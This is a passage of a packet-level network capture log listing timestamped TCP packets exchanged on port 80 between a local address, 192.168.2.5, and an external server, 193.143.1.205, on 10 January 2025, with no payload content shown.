Jan 10, 2025 11:07:03.186346054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186363935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.186419010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186501026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.189332962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.195101023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.247498989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.247541904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.247556925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.247581959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.247596979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.247612953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.247621059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.247663021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.247678041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.247693062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.247709990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.247720957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.247725010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.247740030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.247780085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.267672062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.267699003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.267712116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.267736912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.267755032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.267755985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.267802954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.267807961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.267818928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.267870903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.267929077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.267945051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.269606113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.280802011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.280822992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.280915022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.280950069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.280966997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.280994892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.281009912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.281025887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.281033039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.281043053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.281058073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.281059027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.281073093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.281091928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.281114101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.281138897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.281141996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.281196117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.301048994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301103115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301139116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301172972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301179886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.301208019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301232100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.301242113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301275969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301311016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301337957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.301362991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301378012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.301414967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301469088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301469088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.301508904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301563978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301597118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301623106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.301649094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301660061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.301698923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301755905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301757097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.301809072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301861048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301888943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.301912069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.301940918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.301956892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302010059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302043915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302059889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.302094936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302145004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.302146912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302182913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302237034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302270889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302287102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.302319050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.302320004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302356005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302390099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302405119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.302423954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302476883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302527905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302530050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.302560091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302594900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302611113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.302639961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.302643061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302676916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302728891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302730083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.302762985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302814007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.302814007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302848101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302886963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302907944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.302938938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.302974939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303025961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303029060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303060055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303092957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303112984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303126097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303133965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303178072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303212881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303246021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303267956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303296089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303297043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303350925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303385973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303402901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303417921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303452969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303486109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303488016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303520918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303555012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303570032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303591967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303603888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303627968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303662062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303675890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303695917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303730011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303745031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303762913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303796053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303828955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303848028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303860903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303879023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303893089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303926945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303960085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.303977013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.303994894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304007053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.304028034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304061890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304094076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304124117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.304131031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304141045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.304163933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304198027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304208994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.304231882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304265022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304276943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.304299116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304333925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304347992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.304367065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304399967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.304420948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.310400009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.317117929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.334589958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.334701061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.334731102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.334765911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.334779978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.334794998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.334800959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.334835052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.334849119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.334867954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.334902048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.334949017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.337589025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.344197989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.354612112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354640961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354657888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354672909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354697943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354712963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354717016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.354737997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354753017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354768991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.354769945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354789972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.354793072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354808092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354814053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.354823112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354840040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354855061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354872942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.354876041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.354913950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.367775917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.367811918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.367883921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.367898941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.367907047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.367914915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.367929935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.367933035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.367993116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.368036032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.368052006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.368076086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.368089914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.368091106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.368104935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.368119955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.368120909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.368136883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.368150949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.368153095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.368168116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.368205070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388077021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388132095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388153076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388169050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388179064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388192892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388207912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388221979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388223886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388237000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388245106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388252020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388271093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388290882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388356924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388371944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388411045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388413906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388428926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388453960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388468027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388468981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388484955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388499022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388506889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388514042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388529062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388529062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388544083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388575077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388581991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388603926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388617992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388626099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388655901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388660908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388675928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388689995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388711929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388717890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388732910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388746977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388762951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388765097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388794899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388916969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388931990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388955116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388956070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388969898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.388988018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.388995886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389010906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389027119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389040947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389055967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389058113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389072895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389076948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389089108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389103889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389112949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389132023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389142036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389156103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389170885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389178038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389188051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389209986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389292955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389307022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389322042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389336109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389342070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389350891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389364958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389377117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389398098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389424086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389458895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389461994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389477015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389492035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389524937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389528036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389543056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389558077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389570951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389599085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389633894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389650106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389664888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389679909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389700890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.389710903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.389755964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.390804052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.401447058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401473999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401504993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401552916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401567936 CET	80	49704	193.143.1.205	192.168.2.5
